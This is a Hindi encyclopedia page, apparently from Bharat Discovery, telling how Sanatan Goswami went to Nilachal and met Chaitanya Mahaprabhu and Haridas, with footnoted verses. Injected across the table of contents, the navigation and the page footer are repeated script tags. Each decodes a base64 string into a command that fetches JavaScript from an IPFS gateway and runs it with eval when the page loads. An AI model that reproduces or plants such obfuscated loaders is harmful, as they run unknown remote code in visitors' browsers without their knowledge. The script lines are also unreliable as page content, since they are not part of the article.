सनातन गोस्वामी नीलाचल में

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
सनातन गोस्वामी विषय सूची

सनातन गोस्वामी   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> परिचय   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> बाल्यकाल और शिक्षा   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> दीक्षा   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भक्ति-साधना   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> वृन्दावन आगमन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> महाप्रभु से मिलन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> विग्रह की प्राप्ति   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> मन्दिर का निर्माण   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
मदनमोहन की सेवा   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भक्ति सिद्धान्त   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> सनातन और हुसैनशाह   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> वंश परम्परा   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> नीलाचल में   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>विविध घटनाएँ

सनातन गोस्वामी चैतन्य महाप्रभु के प्रमुख शिष्य थे। सनातन गोस्वामी की तन्मयता जब कुछ कम होती तो वे कंधे पर झोला लटका मथुरा चले जाते। वहाँ जो भी भिक्षा मिलती उससे उदरपूर्ति कर लेते। कुछ दिन बाद उन्होंने महाप्रभु के आदेशानुसार व्रज की लीला-स्थलियों के उद्धार का कार्य प्रारम्भ किया। उन्होंने व्रज के वनों, उपवनों और पहाड़ियों में घूमते हुए और कातर स्वर से व्रजेश्वरी की कृपा प्रार्थना करते हुए, शास्त्रों, लोक-गाथाओं और व्रजेश्वरी की कृपा से प्राप्त अपने दिव्य अनुभवों के आधार पर एक-एक लुप्त तीर्थ का उद्धार किया। इस कार्य में संलग्न रहते हुए एक वर्ष बीत गया, तो महाप्रभु का विरह उन्हें असह्य हो गया।

पदयात्रा

महाप्रभु ने स्वयं ही एक बार नीलाचल जाने को उनसे कहा था। इसलिये वे झारिखण्ड के जंगल के रास्ते नीलाचल की पदयात्रा पर चल पड़े। मार्ग में चलते-चलते अनाहार और अनियम के कारण उन्हें विषाक्त खुजली रोग हो गया। उसके कारण सारे शरीर से क्लेद बहिर्गत होते देख, वे इस प्रकार विचार करने लगे, एक तो मैं वैसे ही म्लेक्ष राजा की सेवा में रह चुकने के कारण अपवित्र और अस्पृश्य हूँ। अब इस रोग को लेकर नीलाचल जा रहा हूं, इसके रहते मैं मन्दिर में तो जा सकूंगा ही नहीं, महाप्रभु के दर्शन करना भी कठिन होगा, क्योंकि महाप्रभु जगन्नाथ जी के मन्दिर के पास रहते हैं, जहाँ होकर जगन्नाथ जी के सेवकों का आना-जाना लगा रहता है। यदि मुझसे उनका शरीर छू गया तो अपराध होगा। ऐसे शरीर का भार ढोते रहने से तो अच्छा यह होगा कि मैं रथयात्रा के समय जगन्नाथ जी के नीचे प्राण त्यागकर इस विपद से छुटकारा पाऊँ सद्गति भी लाभ करूँ। ऐसा करने का निश्चय कर वे कर नीलाचल पहुँचे।

ठहरने का उपयुक्त स्थान

नीलाचल में उनके ठहरने का उपयुक्त स्थान था, यवन हरिदास की पर्णकुटी। हरिदास अपने को दीन, पतित और अस्पृश्य जान नगर के एक कोने में अपनी पर्णकुटी में रहते थे। किसी को स्पर्श करने के भय से जगन्नाथ जी और महाप्रभु के दर्शन करने नहीं जाते थे। महाप्रभु स्वयं नित्य जगन्नाथजी के उपल-भोग के दर्शन कर अपने परम प्रिय भक्त हरिदास को दर्शन देने उनकी कुटी पर जाया करते थे। सनातन भी हरिदास की ही तरह अपने को पतित और अस्पृश्य मानते थे। इसलिये वे उनकी खोज करते-करते उनकी कुटिया पर जा पहुँचे। थोड़ी ही देर बाद महाप्रभु नित्य की भाँति जगन्नाथजी के दर्शन कर वहाँ पहुँचे। सनातन ने उन्हें दूर से ही दण्डवत् की। वे उन्हें देख आनन्द विभोर हो गये और दोनों भुजायें फैलाकर आलिंगन करने के लिये उनकी ओर अग्रसर हुए। पर वे जितना आगे बढ़ते सनातन उतना पीछे हटते जाते। पीछे हटते हुए दैन्य और विनय भरे स्वर में उन्होंने कहा- "प्रभु स्पर्श न करें। मैं हूँ पतित, पामर, यवनों के संग के कारण जाति भ्रष्ट एक पापी जीव और मेरे अंग से निकल रहा है, घृणित क्लेद।
यह आपके अंग में लग जायेगा और मैं और भी अधिक पाप का भागी बनूंगा, पर महाप्रभु कब मानने वाले थे? उन्होंने आनन्द के आवेश में बलपूर्वक बार-बार उन्हें आलिंगन किया। खुजली का क्लेद उनके सारे शरीर में लग गया। सनातन की आत्मग्लानि पराकाष्ठा पर पहुँच गयी। महाप्रभु ने सनातन के रहने की व्यवस्था हरिदास ठाकुर के निकट ही कर दी।

नवविद्या भक्ति

सनातन दैन्य के कारण मन्दिर में दर्शन करने न जाते। हरिदास ठाकुर की ही तरह मन्दिर के चक्र को दूर से देख प्रणाम कर लेते। महाप्रभु नित्य भक्तगण के साथ उनके पास जाते, उन्हें आलिंगन करते और उनके साथ कृष्ण-लीला तथा कथा की आलोचना कर आनन्दमग्न होते। नित्यप्रति का उनका आलिंगन सनातन को असह्य हो गया। वे शीघ्र किसी प्रकार प्राण-त्याग करने की बात सोचने लगे। एक दिन कृष्ण-कथा कहते-कहते हठात् सनातन की ओर देखते हुए महाप्रभु कहने लगे- सनातन! कहीं देह-त्याग करने से कृष्ण प्राप्ति होती है। ऐसा हो तब तो एक ही क्षण में कोटि-कोटि प्राण त्याग देना भी उचित है। कृष्ण की प्राप्ति होती है, भजन से और भक्ति से। इसके सिवा कृष्ण-प्राप्ति का और कोई उपाय नहीं है। भजन में नवविद्या भक्ति श्रेष्ठ है। इसमें कृष्ण-प्रेम और कृष्ण की देन महान् शक्ति है। इसमें भी सर्वश्रेष्ठ है, नाम-संकीर्तन। निरपराध हो नाम-कीर्तन करने से प्रेम-धन की प्राप्ति होती है।"[1]

मेरा प्रधान साधन

अन्तर्यामी प्रभु के मुख से यह सुन सनातन को आश्चर्य हुआ। उन्होंने कहा-"प्रभु, आप सर्वज्ञ और स्वतंत्र हैं। मैं आपकी काठ की पुतली हूँ। जैसे नचायेंगे वैसे नाचूंगा। पर मेरे जैसे नीच, अधम व्यक्ति को जीवित रखने से आपका क्या लाभ होगा?" उत्तर में महाप्रभु ने कहा-"तुमने मुझे आत्मसमर्पण किया है। तुम्हारा देह मेरा निज-धन है। दूसरे का धन नाश करने का तुम्हें क्या अधिकार है? तुम्हें धर्माधर्म का इतना भी ज्ञान नहीं? तुम्हारा शरीर तो मेरा प्रधान साधन है। इसके द्वारा मुझे करना है- लीला-तीर्थों का उद्धार, वैष्णव-सदाचार का निर्धारण और शिक्षण, कृष्ण-भक्ति का प्रचार, वैराग्य के आदर्श की स्थापना और कितना कुछ और, जिसे मैं नहीं कर सकता, माँ की आज्ञा से नीलाचल में ही पड़े रहने के कारण। सनातन का सर नीचा हो गया। उन्होंने आत्म-हत्या का संकल्प छोड़ दिया। हरिदास और सनातन को आलिंगन कर महाप्रभु मध्यान्ह-कृत्य के लिये चले गये।

रथयात्रा का समय

कुछ ही दिन श्रीजगन्नाथदेव की रथयात्रा का समय आ गया। प्रति वर्ष की भाँति गौण देश के अनेकों भक्तों का आगमन हुआ। वर्षाकाल के चार महीने उन्होंने नीलाचल में व्यतीत किये। महाप्रभु ने एक-एक कर उन सबसे सनातन का परिचय कराया। रथयात्रा के दिन उन्होंने सदा की भाँति रथ के आगे रसमय नृत्य किया। उसे देख सनातन चमत्कृत और कृत-कृत्य हुए। ज्येष्ठ मास में एक दिन महाप्रभु ने सनातन की परीक्षा की। उस दिन वे यमेश्वर के शिव-मन्दिर के बगीचे में भिक्षा को गये हुए थे। भिक्षा के समय उन्होंने सनातन को भी बुलावा भेजा। महाप्रभु का निमन्त्रण प्राप्त कर सनातन बहुत प्रसन्न हुए। ठीक मध्यान्ह के समय समुद्र के किनारे-किनारे उत्तप्त बालुका पर चलते हुए वे यमेश्वर पहुँचे। तप्त बालुका पर चलने के कारण उनके पैर में छाले पड़ गये। पर महाप्रभु ने उन्हें आमन्त्रित किया है, इस कारण उनका मन इतना आनन्दोल्लसित था कि उन्हें इसका कुछ भान ही न हुआ। महाप्रभु के सेवक गोविन्द ने महाप्रभु की भिक्षा का अवशेष पात्र उनके सामने रख दिया। प्रसाद ग्रहणकर, जब वे महाप्रभु के विश्राम-स्थान पर गये, तो उन्होंने पूछा-

"सनातन, तुम कौन से मार्ग से आये?"

"समुद्र के किनारे-किनारे" सनातन ने उत्तर दिया।

समुद्र के किनारे-किनारे, तप्त बालुका पर से! सिंह द्वार के शीतल पथ से क्यों नहीं आये? बालुका से अवश्य तुम्हारे पैर जल गये होंगे और उनमें छाले पड़ गये होंगे। फिर तुम आये कैसे? मुझे कष्ट कुछ नहीं हुआ प्रभु। छालों का मुझे पता भी नहीं पड़ा। सिंह द्वार से आने का मेरा अधिकार ही कहाँ? उधर जगन्नाथजी के सेवकों का आना-जाना लगा रहता है। उनमें से किसी को मेरा स्पर्श हो जाये तो अपराधी न बनूं।

गौड़ देश की यात्रा

यह सुन महाप्रभु सनातन को परीक्षा में सफल जान बोले-"सनातन, मैं तुमसे बहुत प्रसन्न हूँ। मैं जानता हूँ कि तुम सारे जगत को पवित्र करने की शक्ति रखते हो। तुम्हारे स्पर्श से देवगण और मुनिगण भी पवित्र हो सकते हैं। पर मर्यादा का पालन करना भक्त का स्वभाव है। मर्यादा की रक्षा तुम नहीं करोगे तो कौन करेगा?" इतना कह महाप्रभु ने सनातन को प्रेम से आलिंगन किया। फिर दोनों अपने-अपने मार्ग से अपने-अपने स्थान को चले गये। महाप्रभु के अंतरंग भक्त पंडित जगदानन्द गौड़ देश की यात्रा पर गये हुए थे। उस दिन जब वे लौटकर आये तो सनातन के दर्शन करने गये। सनातन ने कहा-"पंडितजी, मैं इस समय एक बड़ी उलझन में पड़ा हूँ। आप महाप्रभु के निजजन हैं। मुझे उचित परामर्श देने की कृपा करें। मुझे महाप्रभु नित्य आलिंगन करते हैं। मेरे रोगी शरीर के विषाक्त रस से उनका कनक-कान्तिमय दिव्य देह सन जाता है। मैंने आत्महत्या कर इस दु:ख से परित्राण पाने का निश्चय किया था। पर महाप्रभु ने निषेध कर दिया। अब मैं क्या करूँ?"

जगदानन्द तथा हरिदास से मिलन

जगदानन्द के तो महाप्रभु प्राण थे। सनातन के क्लेदभरे शरीर से उनका नित्य स्पर्श होना, सुन वे काँप गये। उन्होंने कहा- सनातन, इसका सीधा उपाय यही है कि तुम रथयात्रा के पश्चात् शीघ्र वृन्दावन चले जाओ। यहाँ और अधिक रहने का क्या काम? महाप्रभु के दर्शन तुमने कर ही लिये। जगन्नाथ के दर्शन रथयात्रा के दिन कर लोगे। उसके पश्चात् जितने दिन यहाँ रहोगे, तुम्हें इस विपद का सामना करना पड़ेगा। फिर महाप्रभु ने तुम्हें जो दायित्वपूर्ण कार्य सौंपा है, उसके लिये भी तो तुम्हारा और विलम्ब न कर वृन्दावन पहुँच जाना ही उचित है।" दूसरे दिन जब फिर महाप्रभु उनसे और हरिदास से मिलने गये, हरिदास ने उनकी चरण-बन्दना की और उन्होंने हरिदास को आलिंगन किया। सनातन ने आलिंगन के भय से दूर से ही दण्डवत की। उनके बुलाने पर भी निकट नहीं आये।

महाप्रभु से निवेदन

वे उनकी ओर जितना बढ़े उतना वे पीछे हटते गये। पर उन्होंने बलपूर्वक उन्हें पकड़कर आलिंगन किया। जब वे दोनों को लेकर बैठ गये, निर्विण्ण सनातन ने हाथ जोड़कर कातर स्वर से निवेदन किया- प्रभु, मुझे एक बड़ा कष्ट है। मैं आया था, यहाँ आपके दर्शन और संग द्वारा अपना कल्याण सिद्ध करने। पर देख रहा हूँ कि हो रहा है, उसका उलटा। मेरे स्पर्श से आपका शरीर नित्य दुर्गधयुक्त क्लेद से सन जाता है। आपको उससे तनिक भी घृणा नहीं होती। पर मुझे अपराध लगता है और मेरा सर्वनाश होता है। इसलिए आप मुझे आज्ञा दें, जिससे मैं वृन्दावन चला जाऊँ। कल पंडित जगदानन्द ने भी मुझे यही उपदेश किया है। महाप्रभु का मुखारबिन्द क्रोध से तमतमा गया। जगदानन्द पर क्रोध करते हुए वे गरज-गरजकर कहने लगे-"जगा! कल का जगा तुम्हें उपदेश करेगा, तुम जो व्यवहार और परमार्थ में उसके गुरुतुल्य हो और मेरे भी उपदेष्टा के समान हो। उसे इतना गर्व! इतना साहस उसका! सनातन महाप्रभु की क्रोधोदीप्त मूर्ति को निर्निमेष देखते रहे। उनके गण्डस्थल से बह चली प्रेमाश्रु की धार। फिर कुछ अपने को सम्हाल उनके चरण पकड़कर बोले-"प्रभु, आज मैंने जाना कि जगदानन्द कितने भाग्यशाली हैं और मैं कितना अभागा, उन्हें आप अपना समझते हैं, इसलिए कठोर भाषा द्वारा तिरस्कार करते हुए आत्मीयता का मधुपान कराते हैं। मुझे पराया समझते हैं, इसीलिए गौरव-स्तुति द्वारा तिक्त निम्बरस का पान कराते हैं। यह मेरा ही दुर्भाग्य है कि मेरे प्रति आपका आत्मीयता-ज्ञान आज तक न हुआ। इसमें आपका दोष कुछ नहीं, क्योंकि आप स्वतन्त्र ईश्वर हैं।"

मर्यादा का लंघन

यह सुन महाप्रभु कुछ लज्जित हुए। मधुर कण्ठ से सनातन को सान्त्वना देते हुए बोले- सनातन, ऐसे मत कहो। मुझे जगदानन्द तुमसे अधिक प्रिय कदापि नहीं। पर मुझे मर्यादा-लंघन पसन्द नहीं। तुम्हारे जैसे शास्त्र-पारदर्शी व्यक्ति को उपदेश कर जगदानन्द ने तुम्हारी मर्यादा का लंघन किया। इसलिए मैंने उसकी भर्त्सना की। तुम्हारी स्तुति की तुम्हारे गुण देखकर, तुम्हें बहिरंग जानकर नहीं। तुम्हें अपना देह लगता है वीभत्स। पर मुझे लगता है अमृत के समान, क्योंकि वह अप्राकृत है। प्राकृत होता तो भी मैं उसकी उपेक्षा न कर सकता, क्योंकि मैं ठहरा संन्यासी। संन्यासी के लिये अच्छा-बुरा, भद्र-अभद्र कुछ नहीं होता। उसकी सम-बृद्धि होती है। यह सुन हरिदास ने कहा- प्रभु यह सब तुम्हारी प्रतारणा है। प्रतारणा नहीं हरिदास। सुनो, तुमसे अपने मन की बात कहता हूँ। तुम्हारे सबके प्रति मेरा पालक अभिमान रहता है। मैं अपने को पालक मानता हूँ, तुम्हें पाल्यं माता को बालक का अमेध्य जैसे चन्दन के समान लगता है, वैसे ही सनातन का क्लेद मुझे चन्दन जैसा लगता है।

भक्त आत्मसमर्पण

इसके अतिरिक्त वैष्णव-देह प्राकृत होता ही कब है? वह अप्राकृत, चिदानन्दमय होता है। दीक्षा के समय जब भक्त आत्मसमर्पण करता है, तभी कृष्ण उसे आत्मसम कर लेते हैं। उसका देह चिदानन्दमय कर देते हैं। उस अप्राकृत देह से ही वह उनका भजन करता है-

दीक्षाकाले भक्त करे आत्मसमर्पण। सेइ काले कृष्ण तारे करे आत्मसम॥ सेइ देह करे तार चिदानन्दमय। अप्राकृत देहे तार चरन भजय॥[2]

इतना कह प्रभु सनातन से बोले- सनातन, तुम दु:ख न मानना। तुम्हारा आलिंगन करने से मुझे अपार सुख होता है। उसमें मुझे चन्दन और कस्तूरी की गंध आती है। इसलिए तुम इस बात की चिन्ता छोड़ो कि मेरे आलिंगन से तुम्हें अपराध होता है। निश्चिन्त होकर इस वर्ष यहाँ रहो और मुझे अपने संग का सुख दो। वर्ष के पश्चात् मैं तुम्हें वृन्दावन भेज दूंगा।कहते-कहते उन्होंने सनातन को फिर आलिंगन किया। आलिंगन के साथ ही उनका खुजली रोग जाता रहा और देह स्वर्ण की तरह दीप्तिमान हो गया। हरिदास यह देख चमत्कृत! उन्होंने कहा- प्रभु, तुम्हारी लीला बड़ी विचित्र है। इसे तुम्हारे सिवा और कौन जान सकता है? तुम्हीं ने सनातन को झारिखण्ड का पानी पिलाकर उनके शरीर में रोग उपजाया उनकी परीक्षा लेने के लिए और तुम्हीं ने उनका आलिंगन कर उसे दूर किया। दोलयात्रा (होली) तक महाप्रभु ने सनातन को पास रखा। दिन प्रतिदिन उनके साथ तत्वालोचना की और पूरा किया साध्य-साधन सम्बन्धी अपने उस उद्देशृय का परवर्ती अध्याय, जो उन्होंने वाराणसी में उन्हें दिया था। दोलयात्रा के पश्चात् साश्रुनयन उन्हें विदा किया।


पीछे जाएँ
सनातन गोस्वामी नीलाचल में
आगे जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. "सनातन, देह त्यागे कृष्ण जदि पाइये।
    कोटि-देह क्षणेके त छाड़िते पारिये॥
    देह त्यागे कृष्ण ना पाइ, पाइये भजने।
    कृष्ण प्राप्त्येंर कोन उपाय नाहि, भक्ति बिने॥
    भजनेर मध्ये श्रेष्ठ नव विधा भक्ति।
    'कृष्ण प्रेम' 'कृष्ण' दिते धरे महाशक्ति॥
    तार मध्ये सर्वश्रेष्ठ-नाम-संकीर्तन।
    निरपराध नाम हैते पाय प्रेम-धन॥"(चैतन्य चरित 3।4।54-55, 65-66
  2. चैतन्य चरित 3।4।184-185

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>